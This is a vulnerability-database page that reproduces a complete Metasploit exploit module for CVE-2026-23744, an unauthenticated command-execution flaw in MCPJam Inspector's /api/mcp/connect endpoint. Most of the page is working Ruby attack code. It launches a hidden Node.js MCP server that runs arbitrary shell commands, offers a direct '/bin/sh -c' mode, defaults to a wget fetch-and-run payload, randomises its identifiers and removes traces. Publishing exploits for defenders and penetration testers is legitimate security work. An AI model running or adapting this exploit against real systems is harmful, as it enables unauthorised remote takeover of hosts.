Lucene search
+L

MCPJam Inspector Connect API Command Execution

🗓️ 16 Jan 2026 00:00:00Reported by Louay-075, earthenvesselType 
metasploit
 metasploit
🔗 www.rapid7.com👁 6 Views

Unauthenticated RCE in MCPJam Inspector via /api/mcp/connect endpoint.

Related
Code
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MCPJam Inspector Connect API Command Execution',
        'Description' => %q{
          This module exploits an unauthenticated command execution vulnerability in
          MCPJam Inspector. The /api/mcp/connect endpoint accepts a JSON serverConfig
          object containing a command and argument list used to start an MCP server.
          A remote attacker can abuse this endpoint to execute arbitrary operating
          system commands as the user running MCPJam Inspector.

          By default, this module starts a transient Node.js stdio MCP server, then
          invokes a tool that executes the Metasploit command payload. A direct
          /bin/sh -c mode is also available via EXEC_METHOD=direct_sh, but the MCP
          tool mode is more reliable when the inspector expects a valid MCP
          handshake.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Louay-075', # PoC author
          'earthenvessel' # Metasploit module
        ],
        'References' => [
          ['CVE', '2026-23744'],
          ['URL', 'https://github.com/mcpjam/inspector'],
          ['URL', 'https://packetinside.github.io/cves/cve-2026-23744/']
        ],
        'DisclosureDate' => '2026-01-16',
        'Payload' => {
          'Space' => 8192,
          'DisableNops' => true
        },
        'Privileged' => false,
        'Targets' => [
          [
            'Unix/Linux Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'FETCH_COMMAND' => 'WGET'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 443
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path for MCPJam Inspector', '/']),
        OptString.new('SERVER_ID', [true, 'Server ID to use for the transient MCP connection', random_server_id]),
        OptEnum.new('EXEC_METHOD', [true, 'Command dispatch method', 'mcp_tool', ['mcp_tool', 'direct_sh']]),
        OptBool.new('FETCH_OUTPUT', [true, 'Fetch command output from the MCP tool response', false])
      ]
    )
  end

  def base_path
    normalize_uri(target_uri.path)
  end

  def connect_path
    normalize_uri(base_path, 'api', 'mcp', 'connect')
  end

  def tools_execute_path
    normalize_uri(base_path, 'api', 'mcp', 'tools', 'execute')
  end

  def delete_server_path(id)
    normalize_uri(base_path, 'api', 'mcp', 'servers', id)
  end

  def random_server_id(prefix = 'msf')
    "#{prefix}-#{Rex::Text.rand_text_alphanumeric(8)}"
  end

  def mcp_tool_names
    names = {}
    %i[
      readline fetch_default send_response response line message error child_process arguments command fetch_output
      exec_error stdout stderr child tool_name command_key fetch_output_key
    ].each do |name|
      random_name = "_#{Rex::Text.rand_text_alpha_lower(8)}"
      random_name = "_#{Rex::Text.rand_text_alpha_lower(8)}" while names.value?(random_name)
      names[name] = random_name
    end

    names
  end

  def post_connect(config, id:, timeout: 20)
    send_request_cgi(
      {
        'method' => 'POST',
        'uri' => connect_path,
        'ctype' => 'application/json',
        'data' => {
          'serverId' => id,
          'serverConfig' => config
        }.to_json
      },
      timeout
    )
  end

  def mcp_tool_payload(names, fetch_output: false)
    fetch_output_literal = fetch_output ? 'true' : 'false'

    %{
const #{names[:readline]}=require('readline').createInterface({input:process.stdin});
const #{names[:fetch_default]}=#{fetch_output_literal};
function #{names[:send_response]}(#{names[:response]}){process.stdout.write(JSON.stringify(#{names[:response]})+'\\n')}
#{names[:readline]}.on('line',function(#{names[:line]}){
  let #{names[:message]}; try{#{names[:message]}=JSON.parse(#{names[:line]})}catch(#{names[:error]}){return}
  if(#{names[:message]}.method==='initialize'){
    #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{protocolVersion:'2024-11-05',capabilities:{tools:{}},serverInfo:{name:'svc',version:'1.0.0'}}});
  } else if(#{names[:message]}.method==='notifications/initialized'){
  } else if(#{names[:message]}.method==='tools/list'){
    #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{tools:[{name:'#{names[:tool_name]}',description:'run command',inputSchema:{type:'object',properties:{#{names[:command_key]}:{type:'string'},#{names[:fetch_output_key]}:{type:'boolean'}},required:['#{names[:command_key]}']}}]}});
  } else if(#{names[:message]}.method==='tools/call'){
    const #{names[:child_process]}=require('child_process');
    const #{names[:arguments]}=(#{names[:message]}.params&&#{names[:message]}.params.arguments)||{};
    const #{names[:command]}=#{names[:arguments]}['#{names[:command_key]}']||'id';
    const #{names[:fetch_output]}=#{names[:arguments]}['#{names[:fetch_output_key]}']===undefined?#{names[:fetch_default]}:!!#{names[:arguments]}['#{names[:fetch_output_key]}'];
    if(#{names[:fetch_output]}){
      #{names[:child_process]}.exec(#{names[:command]},{timeout:30000},function(#{names[:exec_error]},#{names[:stdout]},#{names[:stderr]}){
        #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{content:[{type:'text',text:(#{names[:stdout]}||'')+(#{names[:stderr]}||'')+(#{names[:exec_error]}?String(#{names[:exec_error]}):'')}],isError:!!#{names[:exec_error]}}});
      });
    } else {
      const #{names[:child]}=#{names[:child_process]}.spawn('/bin/sh',['-c',#{names[:command]}],{detached:true,stdio:'ignore'});
      #{names[:child]}.unref();
      #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{content:[{type:'text',text:'Command dispatched'}],isError:false}});
    }
  } else if(#{names[:message]}.id!==undefined){
    #{names[:send_response]}({jsonrpc:'2.0',id:#{names[:message]}.id,result:{}});
  }
});
    }.strip
  end

  def start_mcp_tool_server(id, names, fetch_output: datastore['FETCH_OUTPUT'])
    print_status("Starting transient Node.js MCP command server as server ID #{id}")

    post_connect(
      {
        'command' => 'node',
        'args' => ['-e', mcp_tool_payload(names, fetch_output: fetch_output)]
      },
      id: id,
      timeout: 20
    )
  end

  def execute_mcp_tool(id, cmd, names, fetch_output: datastore['FETCH_OUTPUT'])
    send_request_cgi(
      {
        'method' => 'POST',
        'uri' => tools_execute_path,
        'ctype' => 'application/json',
        'data' => {
          'serverId' => id,
          'toolName' => names[:tool_name],
          'parameters' => {
            names[:command_key] => cmd,
            names[:fetch_output_key] => fetch_output
          }
        }.to_json
      },
      35
    )
  end

  def cleanup_mcp_server(id)
    send_request_cgi('method' => 'DELETE', 'uri' => delete_server_path(id)) if id
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => base_path
    )

    return CheckCode::Unknown('No response from the target') unless res

    unless res.code == 200 && res.body&.include?('MCPJam Inspector')
      return CheckCode::Safe('The target does not appear to be MCPJam Inspector')
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => connect_path,
      'ctype' => 'application/json',
      'data' => { 'serverId' => random_server_id('check') }.to_json
    )

    return CheckCode::Detected('MCPJam Inspector was detected, but the connect endpoint could not be verified') unless res

    json = res.get_json_document
    auth_text = [
      json['error'],
      json['message'],
      json['hint']
    ].compact.join(' ')
    if [401, 403].include?(res.code) && auth_text.match?(/unauthorized|session token|required|X-MCP-Session-Auth/i)
      return CheckCode::Safe('MCPJam Inspector requires session-token authentication for the connect endpoint')
    end

    unless res.code == 400 && json['error'].to_s.include?('serverConfig is required')
      return CheckCode::Detected('MCPJam Inspector was detected, but the connect endpoint response was unexpected')
    end

    id = random_server_id('check')
    marker = Rex::Text.rand_text_alphanumeric(12)
    names = mcp_tool_names
    res = start_mcp_tool_server(id, names, fetch_output: true)
    unless res&.code == 200
      return CheckCode::Detected('MCPJam Inspector connect endpoint is reachable, but command execution could not be confirmed')
    end

    res = execute_mcp_tool(id, "printf #{marker}", names, fetch_output: true)
    return CheckCode::Detected('MCPJam Inspector command execution could not be confirmed') unless res&.code == 200

    output = res.get_json_document.dig('result', 'content', 0, 'text').to_s
    if output.include?(marker)
      return CheckCode::Vulnerable('MCPJam Inspector executed a benign command through the unauthenticated connect endpoint')
    end

    CheckCode::Detected('MCPJam Inspector command execution response did not contain the expected marker')
  rescue JSON::ParserError
    CheckCode::Detected('MCPJam Inspector was detected, but an endpoint returned invalid JSON')
  rescue StandardError => e
    CheckCode::Unknown("Unable to complete check: #{e.class}: #{e.message}")
  ensure
    cleanup_mcp_server(id) if id
  end

  def execute_direct_sh(cmd, id)
    print_status("Sending direct /bin/sh command via MCPJam connect endpoint as server ID #{id}")

    res = post_connect(
      {
        'command' => '/bin/sh',
        'args' => ['-c', cmd]
      },
      id: id,
      timeout: 20
    )

    if res.nil?
      print_status('No HTTP response received after command dispatch')
      return
    end

    case res.code
    when 200
      print_good('Command dispatched and the target returned success')
    when 500
      print_status("Command dispatched; target returned #{res.code} #{res.message}, which is expected for non-MCP payloads")
    else
      print_warning("Unexpected response after command dispatch: HTTP #{res.code} #{res.message}")
      vprint_line(res.body.to_s)
    end
  end

  def execute_via_mcp_tool(cmd, id)
    names = mcp_tool_names
    res = start_mcp_tool_server(id, names)

    fail_with(Failure::Unreachable, 'No HTTP response received while starting MCP command server') unless res
    unless res.code == 200
      fail_with(Failure::UnexpectedReply, "Failed to start MCP command server: HTTP #{res.code} #{res.message} #{res.body}")
    end

    print_good('MCP command server connected')
    print_status('Executing payload through MCP tools/execute')

    res = execute_mcp_tool(id, cmd, names)

    if res.nil?
      print_status('No HTTP response received after tool execution')
      return
    end

    unless res.code == 200
      print_warning("Unexpected tools/execute response: HTTP #{res.code} #{res.message}")
      vprint_line(res.body.to_s)
      return
    end

    result = res.get_json_document
    text = result.dig('result', 'content', 0, 'text').to_s
    if datastore['FETCH_OUTPUT']
      print_status("Command result: #{text.strip}") unless text.empty?
    else
      vprint_status("MCP tool response: #{text.strip}") unless text.empty?
    end
  rescue JSON::ParserError
    print_warning('Tools/execute returned non-JSON output')
  ensure
    cleanup_mcp_server(id)
  end

  def execute_command(cmd, _opts = {})
    id = datastore['SERVER_ID']

    if datastore['EXEC_METHOD'] == 'direct_sh'
      execute_direct_sh(cmd, id)
    else
      execute_via_mcp_tool(cmd, id)
    end
  end

  def exploit
    execute_command(payload.encoded)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jan 2026 00:00Current
CVSS 3.19.8
EPSS0.65845
SSVC
6